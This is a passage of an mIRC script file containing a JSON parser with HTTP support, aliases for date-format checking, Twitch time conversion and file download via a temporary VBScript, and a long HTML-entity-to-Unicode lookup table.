  2801.   jfm_badd $1 function H(p,j,s){s=this;if(p===undefined)p={};if(j===undefined){s._isChild=!1;s._json=p._json||{}}else{s._isChild=!0;s._json=j}s._state=p._state||'init';s._type=p._type||'text';s._parse=p._parse===!1?!1:!0;s._error=p._error||!1;s._input=p._input;s._http=p._http||{method:'GET',url:'',headers:[]}}
  2802.   jfm_badd $1 H.prototype={
  2803.   jfm_badd $1 state:function(){return this._state},
  2804.   jfm_badd $1 error:function(){return this._error.message},inputType:function(){return this._type},
  2805.   jfm_badd $1 input:function(){return this._input||null},
  2806.   jfm_badd $1 httpParse:function(){return this._parse},
  2807.   jfm_badd $1 httpSetMethod:function(m){E(this).method=m},
  2808.   jfm_badd $1 httpSetHeader:function(h,v){E(this).headers.push([h,v])},
  2809.   jfm_badd $1 httpSetData:function(d){E(this).data=d},
  2810.   jfm_badd $1 httpStatus:function(){return F(this).response.status},
  2811.   jfm_badd $1 httpStatusText:function(){return F(this).response.statusText},
  2812.   jfm_badd $1 httpHeaders:function(){return F(this).response.getAllResponseHeaders()},
  2813.   jfm_badd $1 httpHeader:function(h){return F(this).response.getResponseHeader(h)},
  2814.   jfm_badd $1 httpBody:function(){return F(this).response.responseBody},
  2815.   jfm_badd $1 httpHead:function (s){return s=this,s.httpStatus()+' '+s.httpStatusText()+'\r\n'+s.httpHeaders()},
  2816.   jfm_badd $1 httpResponse:function(){return this.httpHead()+'\r\n\r\n'+this._http.response.reponseText},
  2817.   jfm_badd $1 parse:function(){var s=this,d=!0,x=!1,y=!1,r,j;s.parse=function(){throw new Error('PARSE_NOT_PENDING')};s._state='done';try{if(s._type==='http'){try{if(s._http.data==undefined){d=!1;s._http.data=null}r=new ActiveXObject(I);s._http.response=r;r.open(s._http.method,s._http.url,!1);s._http.headers.forEach(function(h){r.setRequestHeader(h[0],h[1]);if(h[0].toLowerCase()==="content-type")x=!0;if(h[0].toLowerCase()==="content-length")y=!0});if(d){if(!x)r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(!y){if(s._http.data==null)r.setRequestHeader("Content-Length",0);else r.setRequestHeader("Content-Length",String(s._http.data).length)}}r.send(s._http.data);if(s._parse===!1)return s;s._input=r.responseText}catch(e){e.message="HTTP: "+e.message;throw e}}j=String(s._input).replace(/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,function(c){return'\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4)});if(!/^[\],:{}\s]*$/.test(j.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,'')))throw new Error("INVALID_JSON");try{j=eval('('+j+')')}catch(e){throw new Error("INVALID_JSON")}s._json={path:[],value:j};return s}catch(e){s._error=e.message;throw e}},
  2818.   jfm_badd $1 walk:function(){var s=D(this),r=s._json.value,a=Array.prototype.slice.call(arguments),f=a.shift(),p=s._json.path.slice(0),t,m,i,k;while(a.length){t=A(r);m=String(a.shift());if(t!=='array'&&t!=='object')throw new Error('ILLEGAL_REFERENCE');if(f&&/^[~=]./.test(m)){i='~'===m.charAt(0);m=m.replace(/^[~=]\x20?/,'');if(t=='object'&&i){k=B(r);if(/^\d+$/.test(m)){m=parseInt(m,10);if(m>=k.length)throw new Error('FUZZY_INDEX_NOT_FOUND');m=k[m]}else if(!C(r,m)){m=m.toLowerCase();m=k.find(function(k){return m===k.toLowerCase()});if(m==undefined)throw new Error('FUZZY_MEMBER_NOT_FOUND')}}}if(!C(r,m))throw new Error('REFERENCE_NOT_FOUND');p.push(m);r=r[m]}return new H(s,{path:p,value:r})},
  2819.   jfm_badd $1 forEach:function(){var s=D(this),a=Array.prototype.slice.call(arguments),r=[],d=a[0]?Infinity:1;a.shift();function _(i,p,j){j=new H(s,{path:p,value:i});if(d!==Infinity&&a.length>1)j=j.walk.apply(j,a.slice(0));r.push(j)}function Z(i,p,c,t){t=A(i);p=p.slice(0);if(c>d)_(i,p);else if(t==='object')B(i).forEach(function(k,z){z=p.slice(0);z.push(k);Z(i[k],z,c+1)});else if(t==='array')i.forEach(function(v,k){z=p.slice(0);z.push(k);Z(v,z,c+1)});else _(i,p)}if(s.type()!=='object'&&s.type()!=='array')throw new Error('ILLEGAL_REFERENCE');Z(s._json.value,s._json.path.slice(0),1);return r},
  2820.   jfm_badd $1 type:function(){return A(D(this)._json.value)},
  2821.   jfm_badd $1 isContainer:function(){return(this.type()==="object"||this.type()==="array")},
  2822.   jfm_badd $1 pathLength:function(){return D(this)._json.path.length},
  2823.   jfm_badd $1 pathAtIndex:function(i){return D(this)._json.path[i]},
  2824.   jfm_badd $1 path:function(){var r='';D(this)._json.path.forEach(function(i){r+=(r?' ':'')+String(i).replace(/([\\ ])/g,function(c){return' '=== c?'\s':'\\'})});return r},
  2825.   jfm_badd $1 length:function(){var s=D(this),t=s.type();if(t==='string'||t==='array')return s._json.value.length;if(t==='object')return B(s._json.value).length;throw new Error('INVALID_TYPE')},
  2826.   jfm_badd $1 value:function(){return D(this)._json.value},
  2827.   jfm_badd $1 string:function(){return G(D(this)._json.value)},
  2828.   jfm_badd $1 debug:function(){var s=this,r={state:s._state,input:s._input,type:s._type,error:s._error,parse:s._parse,http:{url:s._http.url,method:s._http.method,headers:s._http.headers,data:s._http.data},isChild:s._isChild,json:s._json};if(s._type==="http"&&s._state==="done")r.http.response={status:s._http.response.status,statusText:s._http.response.statusText,headers:(s._http.response.getAllResponseHeaders()).split(/[\r\n]+/g),responseText:s._http.response.responseText};return G(r)}};
  2829.   jfm_badd $1 JSONCreate=function(t,i,p,s){s=new H();s._state='init';s._type=(t||'text').toLowerCase();s._parse=p===!1?!1:!0;if(s._type==='http'){if(!I){s._error='HTTP_NOT_FOUND';throw new Error('HTTP_NOT_FOUND')}s._state='http_pending';s._http.url=i}else{s._state='parse_pending';s._input=i}return s}}()
  2830. }
  2831.  
  2832. ; --
  2833.  
  2834. /*
  2835.  
  2836.     # CheckDateFormat alias coded by SReject - (thanks for support) #
  2837.  
  2838. */
  2839.  
  2840. alias wmm_cdate {
  2841.   if (!$1) || (!$isid) { return 0 }
  2842.   if ($regex($1,/^(?:[^a-zA-Z0-9]*(?:oo|yy|[zmdhHnstT])+)+$/gS)) { return 1 }
  2843.   return 0
  2844.   return
  2845.   :error | wmm_werror $scriptline $error | reseterror
  2846. }
  2847.  
  2848. ; --
  2849.  
  2850. /*
  2851.     # ConvertTwitchTime alias coded by SReject - (thanks for support) #
  2852.  
  2853.     ## Official Code Link: http://pastebin.com/gTrSLpJc ##
  2854. */
  2855.  
  2856. alias wmm_convertdate {
  2857.   if (!$1) || (!$isid) { return 0 }
  2858.   if ($regex($1-, /^(\d\d(?:\d\d)?)-(\d\d)-(\d\d)T(\d\d)\:(\d\d)\:(\d\d)(?:(?:\.\d\d\d)?Z|([-+])(\d\d):(\d+)|$)/i)) {
  2859.     var %m = $gettok(January February March April May June July August September October November December, $regml(2), 32)
  2860.     var %d = $ord($base($regml(3),10,10))
  2861.     var %o = +0
  2862.     if ($regml(0) > 6) && ($regml(7) isin -+) { var %o = $regml(7) $+ $calc($regml(8) * 3600 + $regml(9)) }
  2863.     var %t = $calc($ctime(%m %d $regml(1) $regml(4) $+ : $+ $regml(5) $+ : $+ $regml(6)) - %o)
  2864.     if ($asctime(zz) !== 0 && $regex($v1, /^([+-])(\d\d)(\d+)$/)) { var %o = $regml(1) $+ $calc($regml(2) * 3600 + $regml(3)) | var %t = $calc(%t + %o ) }
  2865.     return %t
  2866.   }
  2867.   else { return 0 }
  2868.   return
  2869.   :error | wmm_werror $scriptline $error | reseterror
  2870. }
  2871.  
  2872. ; ---
  2873.  
  2874. /*
  2875.     # Download alias coded by SReject - (thanks for support) #
  2876.  
  2877.     ## Official Code Link: http://hawkee.com/snippet/9318 ##
  2878. */
  2879.  
  2880. alias wmm_download {
  2881.   if ($isid) || (!$1) || (!$2) || (!$3) { return }
  2882.   if ($1 == -c) {
  2883.     var %callback = $gettok($1-,2,34)
  2884.     var %url = $gettok($gettok($1-,3,34),1,32)
  2885.     var %file = $gettok($1-,4,34)
  2886.     var %com = $gettok($gettok($1-,5,34),1,32)
  2887.     var %r = $iif($comerr,1,$com(%com).result)
  2888.  
  2889.     if ($com(%com)) { .comclose %com }
  2890.     if (%r == -1) { %callback 1 S_OK %url $qt(%file) }
  2891.   }
  2892.   elseif ($1 !== -c) {
  2893.     var %callback = $gettok($1-,1,34)
  2894.     var %url = $gettok($gettok($1-,2,34),1,32)
  2895.     var %file = $gettok($1-,3-,34)
  2896.     var %com = wmm_download $+ $wmm_random $+ .vbs
  2897.     var %s = $wmm_temp $+ %com
  2898.     var %n = $left(%com,-4)
  2899.  
  2900.     .fopen -ox %n $qt(%s)
  2901.  
  2902.     .fwrite -n %n On Error Resume Next
  2903.     .fwrite -n %n Set args = WScript.Arguments
  2904.     .fwrite -n %n Url = $qt(%url)
  2905.     .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2906.     .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2907.     .fwrite -n %n xHttp.Open "GET", Url, False
  2908.     .fwrite -n %n xHttp.Send
  2909.     .fwrite -n %n with bStrm
  2910.     .fwrite -n %n    .Type = 1
  2911.     .fwrite -n %n    .Mode = 3
  2912.     .fwrite -n %n    .Open
  2913.     .fwrite -n %n    .Write xHttp.ResponseBody
  2914.     .fwrite -n %n    .SavetoFile $qt(%file) $+ , 2
  2915.     .fwrite -n %n    .Close
  2916.     .fwrite -n %n End with
  2917.     .fwrite -n %n Err.Clear
  2918.     .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True
  2919.     .fwrite -n %n WScript.Quit(-1)
  2920.  
  2921.     .fclose %n
  2922.  
  2923.     .comopen %com WScript.Shell
  2924.     if ($lines(%s) !== 18 || $comerr || !$comcall(%com,wmm_download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error }
  2925.     return
  2926.   }
  2927.   :error
  2928.   if ($error) { wmm_werror $scriptline $error | reseterror }
  2929.   if ($com(%com)) { .comclose %com }
  2930. }
  2931.  
  2932. ; ---
  2933.  
  2934. /*
  2935.     # HTML2Ascii (Unicode) script coded by David Schor - (thanks for support) #
  2936.  
  2937.     ## GitHub Link: https://github.com/ds--/CodeArchive/blob/master/mSL/net/html2unicode.mrc ##
  2938. */
  2939.  
  2940. alias wmm_html2asc {
  2941.   if (!$isid) { return }
  2942.   if (!$hget(WMM_HTML)) { wmm_html_make }
  2943.   return $regsubex(~, $1, /&(.+);/Ug, $wmm_ht_get(\t))
  2944.   return
  2945.   :error | wmm_werror $scriptline $error | reseterror
  2946. }
  2947. alias -l wmm_ht_get {
  2948.   if (#x* iswm $1) { return $chr($base($mid($1, 3), 16, 10)) }
  2949.   elseif (#* iswm $1) { return $chr($mid($1, 2)) }
  2950.   return $hget(WMM_HTML, $hfind(WMM_HTML, $1, 1, R))
  2951.   return
  2952.   :error | wmm_werror $scriptline $error | reseterror
  2953. }
  2954. alias -l wmm_html_make {
  2955.   var %h = WMM_HTML
  2956.   hmake %h 3000
  2957.   hadd %h /^amp$/9 $chr($base(0026, 16, 10))
  2958.   hadd %h /^lt$/22 $chr($base(003C, 16, 10))
  2959.   hadd %h /^gt$/27 $chr($base(003E, 16, 10))
  2960.   hadd %h /^nbsp$/50 $chr($base(00A0, 16, 10))
  2961.   hadd %h /^iexcl$/52 $chr($base(00A1, 16, 10))
  2962.   hadd %h /^cent$/53 $chr($base(00A2, 16, 10))
  2963.   hadd %h /^pound$/54 $chr($base(00A3, 16, 10))
  2964.   hadd %h /^curren$/55 $chr($base(00A4, 16, 10))
  2965.   hadd %h /^yen$/56 $chr($base(00A5, 16, 10))
  2966.   hadd %h /^brvbar$/57 $chr($base(00A6, 16, 10))
  2967.   hadd %h /^sect$/58 $chr($base(00A7, 16, 10))
  2968.   hadd %h /^uml$/62 $chr($base(00A8, 16, 10))
  2969.   hadd %h /^copy$/63 $chr($base(00A9, 16, 10))
  2970.   hadd %h /^ordf$/65 $chr($base(00AA, 16, 10))
  2971.   hadd %h /^laquo$/66 $chr($base(00AB, 16, 10))
  2972.   hadd %h /^not$/67 $chr($base(00AC, 16, 10))
  2973.   hadd %h /^shy$/68 $chr($base(00AD, 16, 10))
  2974.   hadd %h /^reg$/69 $chr($base(00AE, 16, 10))
  2975.   hadd %h /^macr$/72 $chr($base(00AF, 16, 10))
  2976.   hadd %h /^deg$/74 $chr($base(00B0, 16, 10))
  2977.   hadd %h /^plusmn$/75 $chr($base(00B1, 16, 10))
  2978.   hadd %h /^sup2$/78 $chr($base(00B2, 16, 10))
  2979.   hadd %h /^sup3$/79 $chr($base(00B3, 16, 10))
  2980.   hadd %h /^acute$/80 $chr($base(00B4, 16, 10))
  2981.   hadd %h /^micro$/82 $chr($base(00B5, 16, 10))
  2982.   hadd %h /^para$/83 $chr($base(00B6, 16, 10))
  2983.   hadd %h /^middot$/84 $chr($base(00B7, 16, 10))
  2984.   hadd %h /^cedil$/87 $chr($base(00B8, 16, 10))
  2985.   hadd %h /^sup1$/89 $chr($base(00B9, 16, 10))
  2986.   hadd %h /^ordm$/90 $chr($base(00BA, 16, 10))
  2987.   hadd %h /^raquo$/91 $chr($base(00BB, 16, 10))
  2988.   hadd %h /^frac14$/92 $chr($base(00BC, 16, 10))
  2989.   hadd %h /^frac12$/93 $chr($base(00BD, 16, 10))
  2990.   hadd %h /^frac34$/95 $chr($base(00BE, 16, 10))
  2991.   hadd %h /^iquest$/96 $chr($base(00BF, 16, 10))
  2992.   hadd %h /^Agrave$/97 $chr($base(00C0, 16, 10))
  2993.   hadd %h /^Aacute$/98 $chr($base(00C1, 16, 10))
  2994.   hadd %h /^Acirc$/99 $chr($base(00C2, 16, 10))
  2995.   hadd %h /^Atilde$/100 $chr($base(00C3, 16, 10))
  2996.   hadd %h /^Auml$/101 $chr($base(00C4, 16, 10))
  2997.   hadd %h /^Aring$/102 $chr($base(00C5, 16, 10))
  2998.   hadd %h /^AElig$/104 $chr($base(00C6, 16, 10))
  2999.   hadd %h /^Ccedil$/105 $chr($base(00C7, 16, 10))
  3000.   hadd %h /^Egrave$/106 $chr($base(00C8, 16, 10))
  3001.   hadd %h /^Eacute$/107 $chr($base(00C9, 16, 10))
  3002.   hadd %h /^Ecirc$/108 $chr($base(00CA, 16, 10))
  3003.   hadd %h /^Euml$/109 $chr($base(00CB, 16, 10))
  3004.   hadd %h /^Igrave$/110 $chr($base(00CC, 16, 10))
  3005.   hadd %h /^Iacute$/111 $chr($base(00CD, 16, 10))
  3006.   hadd %h /^Icirc$/112 $chr($base(00CE, 16, 10))
  3007.   hadd %h /^Iuml$/113 $chr($base(00CF, 16, 10))
  3008.   hadd %h /^ETH$/114 $chr($base(00D0, 16, 10))
  3009.   hadd %h /^Ntilde$/115 $chr($base(00D1, 16, 10))
  3010.   hadd %h /^Ograve$/116 $chr($base(00D2, 16, 10))
  3011.   hadd %h /^Oacute$/117 $chr($base(00D3, 16, 10))
  3012.   hadd %h /^Ocirc$/118 $chr($base(00D4, 16, 10))
  3013.   hadd %h /^Otilde$/119 $chr($base(00D5, 16, 10))
  3014.   hadd %h /^Ouml$/120 $chr($base(00D6, 16, 10))
  3015.   hadd %h /^times$/121 $chr($base(00D7, 16, 10))
  3016.   hadd %h /^Oslash$/122 $chr($base(00D8, 16, 10))
  3017.   hadd %h /^Ugrave$/123 $chr($base(00D9, 16, 10))
  3018.   hadd %h /^Uacute$/124 $chr($base(00DA, 16, 10))
  3019.   hadd %h /^Ucirc$/125 $chr($base(00DB, 16, 10))
  3020.   hadd %h /^Uuml$/126 $chr($base(00DC, 16, 10))
  3021.   hadd %h /^Yacute$/127 $chr($base(00DD, 16, 10))
  3022.   hadd %h /^THORN$/128 $chr($base(00DE, 16, 10))
  3023.   hadd %h /^szlig$/129 $chr($base(00DF, 16, 10))
  3024.   hadd %h /^agrave$/130 $chr($base(00E0, 16, 10))
  3025.   hadd %h /^aacute$/131 $chr($base(00E1, 16, 10))
  3026.   hadd %h /^acirc$/132 $chr($base(00E2, 16, 10))
  3027.   hadd %h /^atilde$/133 $chr($base(00E3, 16, 10))
  3028.   hadd %h /^auml$/134 $chr($base(00E4, 16, 10))
  3029.   hadd %h /^aring$/135 $chr($base(00E5, 16, 10))
  3030.   hadd %h /^aelig$/136 $chr($base(00E6, 16, 10))
  3031.   hadd %h /^ccedil$/137 $chr($base(00E7, 16, 10))
  3032.   hadd %h /^egrave$/138 $chr($base(00E8, 16, 10))
  3033.   hadd %h /^eacute$/139 $chr($base(00E9, 16, 10))
  3034.   hadd %h /^ecirc$/140 $chr($base(00EA, 16, 10))
  3035.   hadd %h /^euml$/141 $chr($base(00EB, 16, 10))
  3036.   hadd %h /^igrave$/142 $chr($base(00EC, 16, 10))
  3037.   hadd %h /^iacute$/143 $chr($base(00ED, 16, 10))
  3038.   hadd %h /^icirc$/144 $chr($base(00EE, 16, 10))
  3039.   hadd %h /^iuml$/145 $chr($base(00EF, 16, 10))
  3040.   hadd %h /^eth$/146 $chr($base(00F0, 16, 10))
  3041.   hadd %h /^ntilde$/147 $chr($base(00F1, 16, 10))
  3042.   hadd %h /^ograve$/148 $chr($base(00F2, 16, 10))
  3043.   hadd %h /^oacute$/149 $chr($base(00F3, 16, 10))
  3044.   hadd %h /^ocirc$/150 $chr($base(00F4, 16, 10))
  3045.   hadd %h /^otilde$/151 $chr($base(00F5, 16, 10))
  3046.   hadd %h /^ouml$/152 $chr($base(00F6, 16, 10))
  3047.   hadd %h /^divide$/153 $chr($base(00F7, 16, 10))
  3048.   hadd %h /^oslash$/155 $chr($base(00F8, 16, 10))
  3049.   hadd %h /^ugrave$/156 $chr($base(00F9, 16, 10))
  3050.   hadd %h /^uacute$/157 $chr($base(00FA, 16, 10))
  3051.   hadd %h /^ucirc$/158 $chr($base(00FB, 16, 10))
  3052.   hadd %h /^uuml$/159 $chr($base(00FC, 16, 10))
  3053.   hadd %h /^yacute$/160 $chr($base(00FD, 16, 10))
  3054.   hadd %h /^thorn$/161 $chr($base(00FE, 16, 10))
  3055.   hadd %h /^yuml$/162 $chr($base(00FF, 16, 10))
  3056.   hadd %h /^Tab$/1 $chr($base(0009, 16, 10))
  3057.   hadd %h /^NewLine$/2 $chr($base(000A, 16, 10))
  3058.   hadd %h /^excl$/3 $chr($base(0021, 16, 10))
  3059.   hadd %h /^quot$/4 $chr($base(0022, 16, 10))
  3060.   hadd %h /^QUOT$/5 $chr($base(0022, 16, 10))
  3061.   hadd %h /^num$/6 $chr($base(0023, 16, 10))
  3062.   hadd %h /^dollar$/7 $chr($base(0024, 16, 10))
  3063.   hadd %h /^percnt$/8 $chr($base(0025, 16, 10))
  3064.   hadd %h /^AMP$/10 $chr($base(0026, 16, 10))
  3065.   hadd %h /^apos$/11 $chr($base(0027, 16, 10))
  3066.   hadd %h /^lpar$/12 $chr($base(0028, 16, 10))
  3067.   hadd %h /^rpar$/13 $chr($base(0029, 16, 10))
  3068.   hadd %h /^ast$/14 $chr($base(002A, 16, 10))
  3069.   hadd %h /^midast$/15 $chr($base(002A, 16, 10))
  3070.   hadd %h /^plus$/16 $chr($base(002B, 16, 10))
  3071.   hadd %h /^comma$/17 $chr($base(002C, 16, 10))
  3072.   hadd %h /^period$/18 $chr($base(002E, 16, 10))
  3073.   hadd %h /^sol$/19 $chr($base(002F, 16, 10))
  3074.   hadd %h /^colon$/20 $chr($base(003A, 16, 10))
  3075.   hadd %h /^semi$/21 $chr($base(003B, 16, 10))
  3076.   hadd %h /^LT$/23 $chr($base(003C, 16, 10))
  3077.   hadd %h /^nvlt$/24 $chr($base(003C, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3078.   hadd %h /^equals$/25 $chr($base(003D, 16, 10))
  3079.   hadd %h /^bne$/26 $chr($base(003D, 16, 10)) $+ $chr($base(20E5, 16, 10))
  3080.   hadd %h /^GT$/28 $chr($base(003E, 16, 10))
  3081.   hadd %h /^nvgt$/29 $chr($base(003E, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3082.   hadd %h /^quest$/30 $chr($base(003F, 16, 10))
  3083.   hadd %h /^commat$/31 $chr($base(0040, 16, 10))
  3084.   hadd %h /^lsqb$/32 $chr($base(005B, 16, 10))
  3085.   hadd %h /^lbrack$/33 $chr($base(005B, 16, 10))
  3086.   hadd %h /^bsol$/34 $chr($base(005C, 16, 10))
  3087.   hadd %h /^rsqb$/35 $chr($base(005D, 16, 10))
  3088.   hadd %h /^rbrack$/36 $chr($base(005D, 16, 10))
  3089.   hadd %h /^Hat$/37 $chr($base(005E, 16, 10))
  3090.   hadd %h /^lowbar$/38 $chr($base(005F, 16, 10))
  3091.   hadd %h /^UnderBar$/39 $chr($base(005F, 16, 10))
  3092.   hadd %h /^grave$/40 $chr($base(0060, 16, 10))
  3093.   hadd %h /^DiacriticalGrave$/41 $chr($base(0060, 16, 10))
  3094.   hadd %h /^fjlig$/42 $chr($base(0066, 16, 10)) $+ $chr($base(006A, 16, 10))
  3095.   hadd %h /^lcub$/43 $chr($base(007B, 16, 10))
  3096.   hadd %h /^lbrace$/44 $chr($base(007B, 16, 10))
  3097.   hadd %h /^verbar$/45 $chr($base(007C, 16, 10))
  3098.   hadd %h /^vert$/46 $chr($base(007C, 16, 10))
  3099.   hadd %h /^VerticalLine$/47 $chr($base(007C, 16, 10))
  3100.   hadd %h /^rcub$/48 $chr($base(007D, 16, 10))
  3101.   hadd %h /^rbrace$/49 $chr($base(007D, 16, 10))
  3102.   hadd %h /^NonBreakingSpace$/51 $chr($base(00A0, 16, 10))
  3103.   hadd %h /^Dot$/59 $chr($base(00A8, 16, 10))
  3104.   hadd %h /^die$/60 $chr($base(00A8, 16, 10))
  3105.   hadd %h /^DoubleDot$/61 $chr($base(00A8, 16, 10))
  3106.   hadd %h /^COPY$/64 $chr($base(00A9, 16, 10))
  3107.   hadd %h /^circledR$/70 $chr($base(00AE, 16, 10))
  3108.   hadd %h /^REG$/71 $chr($base(00AE, 16, 10))
  3109.   hadd %h /^strns$/73 $chr($base(00AF, 16, 10))
  3110.   hadd %h /^pm$/76 $chr($base(00B1, 16, 10))
  3111.   hadd %h /^PlusMinus$/77 $chr($base(00B1, 16, 10))
  3112.   hadd %h /^DiacriticalAcute$/81 $chr($base(00B4, 16, 10))
  3113.   hadd %h /^centerdot$/85 $chr($base(00B7, 16, 10))
  3114.   hadd %h /^CenterDot$/86 $chr($base(00B7, 16, 10))
  3115.   hadd %h /^Cedilla$/88 $chr($base(00B8, 16, 10))
  3116.   hadd %h /^half$/94 $chr($base(00BD, 16, 10))
  3117.   hadd %h /^angst$/103 $chr($base(00C5, 16, 10))
  3118.   hadd %h /^div$/154 $chr($base(00F7, 16, 10))
  3119.   hadd %h /^Amacr$/163 $chr($base(0100, 16, 10))
  3120.   hadd %h /^amacr$/164 $chr($base(0101, 16, 10))
  3121.   hadd %h /^Abreve$/165 $chr($base(0102, 16, 10))
  3122.   hadd %h /^abreve$/166 $chr($base(0103, 16, 10))
  3123.   hadd %h /^Aogon$/167 $chr($base(0104, 16, 10))
  3124.   hadd %h /^aogon$/168 $chr($base(0105, 16, 10))
  3125.   hadd %h /^Cacute$/169 $chr($base(0106, 16, 10))
  3126.   hadd %h /^cacute$/170 $chr($base(0107, 16, 10))
  3127.   hadd %h /^Ccirc$/171 $chr($base(0108, 16, 10))
  3128.   hadd %h /^ccirc$/172 $chr($base(0109, 16, 10))
  3129.   hadd %h /^Cdot$/173 $chr($base(010A, 16, 10))
  3130.   hadd %h /^cdot$/174 $chr($base(010B, 16, 10))
  3131.   hadd %h /^Ccaron$/175 $chr($base(010C, 16, 10))
  3132.   hadd %h /^ccaron$/176 $chr($base(010D, 16, 10))
  3133.   hadd %h /^Dcaron$/177 $chr($base(010E, 16, 10))
  3134.   hadd %h /^dcaron$/178 $chr($base(010F, 16, 10))
  3135.   hadd %h /^Dstrok$/179 $chr($base(0110, 16, 10))
  3136.   hadd %h /^dstrok$/180 $chr($base(0111, 16, 10))
  3137.   hadd %h /^Emacr$/181 $chr($base(0112, 16, 10))
  3138.   hadd %h /^emacr$/182 $chr($base(0113, 16, 10))
  3139.   hadd %h /^Edot$/183 $chr($base(0116, 16, 10))
  3140.   hadd %h /^edot$/184 $chr($base(0117, 16, 10))
  3141.   hadd %h /^Eogon$/185 $chr($base(0118, 16, 10))
  3142.   hadd %h /^eogon$/186 $chr($base(0119, 16, 10))
  3143.   hadd %h /^Ecaron$/187 $chr($base(011A, 16, 10))
  3144.   hadd %h /^ecaron$/188 $chr($base(011B, 16, 10))
  3145.   hadd %h /^Gcirc$/189 $chr($base(011C, 16, 10))
  3146.   hadd %h /^gcirc$/190 $chr($base(011D, 16, 10))
  3147.   hadd %h /^Gbreve$/191 $chr($base(011E, 16, 10))
  3148.   hadd %h /^gbreve$/192 $chr($base(011F, 16, 10))
  3149.   hadd %h /^Gdot$/193 $chr($base(0120, 16, 10))
  3150.   hadd %h /^gdot$/194 $chr($base(0121, 16, 10))
  3151.   hadd %h /^Gcedil$/195 $chr($base(0122, 16, 10))
  3152.   hadd %h /^Hcirc$/196 $chr($base(0124, 16, 10))
  3153.   hadd %h /^hcirc$/197 $chr($base(0125, 16, 10))
  3154.   hadd %h /^Hstrok$/198 $chr($base(0126, 16, 10))
  3155.   hadd %h /^hstrok$/199 $chr($base(0127, 16, 10))
  3156.   hadd %h /^Itilde$/200 $chr($base(0128, 16, 10))
  3157.   hadd %h /^itilde$/201 $chr($base(0129, 16, 10))
  3158.   hadd %h /^Imacr$/202 $chr($base(012A, 16, 10))
  3159.   hadd %h /^imacr$/203 $chr($base(012B, 16, 10))
  3160.   hadd %h /^Iogon$/204 $chr($base(012E, 16, 10))
  3161.   hadd %h /^iogon$/205 $chr($base(012F, 16, 10))
  3162.   hadd %h /^Idot$/206 $chr($base(0130, 16, 10))
  3163.   hadd %h /^imath$/207 $chr($base(0131, 16, 10))
  3164.   hadd %h /^inodot$/208 $chr($base(0131, 16, 10))
  3165.   hadd %h /^IJlig$/209 $chr($base(0132, 16, 10))
  3166.   hadd %h /^ijlig$/210 $chr($base(0133, 16, 10))
  3167.   hadd %h /^Jcirc$/211 $chr($base(0134, 16, 10))
  3168.   hadd %h /^jcirc$/212 $chr($base(0135, 16, 10))
  3169.   hadd %h /^Kcedil$/213 $chr($base(0136, 16, 10))
  3170.   hadd %h /^kcedil$/214 $chr($base(0137, 16, 10))
  3171.   hadd %h /^kgreen$/215 $chr($base(0138, 16, 10))
  3172.   hadd %h /^Lacute$/216 $chr($base(0139, 16, 10))
  3173.   hadd %h /^lacute$/217 $chr($base(013A, 16, 10))
  3174.   hadd %h /^Lcedil$/218 $chr($base(013B, 16, 10))
  3175.   hadd %h /^lcedil$/219 $chr($base(013C, 16, 10))
  3176.   hadd %h /^Lcaron$/220 $chr($base(013D, 16, 10))
  3177.   hadd %h /^lcaron$/221 $chr($base(013E, 16, 10))
  3178.   hadd %h /^Lmidot$/222 $chr($base(013F, 16, 10))
  3179.   hadd %h /^lmidot$/223 $chr($base(0140, 16, 10))
  3180.   hadd %h /^Lstrok$/224 $chr($base(0141, 16, 10))
  3181.   hadd %h /^lstrok$/225 $chr($base(0142, 16, 10))
  3182.   hadd %h /^Nacute$/226 $chr($base(0143, 16, 10))
  3183.   hadd %h /^nacute$/227 $chr($base(0144, 16, 10))
  3184.   hadd %h /^Ncedil$/228 $chr($base(0145, 16, 10))
  3185.   hadd %h /^ncedil$/229 $chr($base(0146, 16, 10))
  3186.   hadd %h /^Ncaron$/230 $chr($base(0147, 16, 10))
  3187.   hadd %h /^ncaron$/231 $chr($base(0148, 16, 10))
  3188.   hadd %h /^napos$/232 $chr($base(0149, 16, 10))
  3189.   hadd %h /^ENG$/233 $chr($base(014A, 16, 10))
  3190.   hadd %h /^eng$/234 $chr($base(014B, 16, 10))
  3191.   hadd %h /^Omacr$/235 $chr($base(014C, 16, 10))
  3192.   hadd %h /^omacr$/236 $chr($base(014D, 16, 10))
  3193.   hadd %h /^Odblac$/237 $chr($base(0150, 16, 10))
  3194.   hadd %h /^odblac$/238 $chr($base(0151, 16, 10))
  3195.   hadd %h /^OElig$/239 $chr($base(0152, 16, 10))
  3196.   hadd %h /^oelig$/240 $chr($base(0153, 16, 10))
  3197.   hadd %h /^Racute$/241 $chr($base(0154, 16, 10))
  3198.   hadd %h /^racute$/242 $chr($base(0155, 16, 10))
  3199.   hadd %h /^Rcedil$/243 $chr($base(0156, 16, 10))
  3200.   hadd %h /^rcedil$/244 $chr($base(0157, 16, 10))
  3201.   hadd %h /^Rcaron$/245 $chr($base(0158, 16, 10))
  3202.   hadd %h /^rcaron$/246 $chr($base(0159, 16, 10))
  3203.   hadd %h /^Sacute$/247 $chr($base(015A, 16, 10))
  3204.   hadd %h /^sacute$/248 $chr($base(015B, 16, 10))
  3205.   hadd %h /^Scirc$/249 $chr($base(015C, 16, 10))
  3206.   hadd %h /^scirc$/250 $chr($base(015D, 16, 10))
  3207.   hadd %h /^Scedil$/251 $chr($base(015E, 16, 10))
  3208.   hadd %h /^scedil$/252 $chr($base(015F, 16, 10))
  3209.   hadd %h /^Scaron$/253 $chr($base(0160, 16, 10))
  3210.   hadd %h /^scaron$/254 $chr($base(0161, 16, 10))
  3211.   hadd %h /^Tcedil$/255 $chr($base(0162, 16, 10))
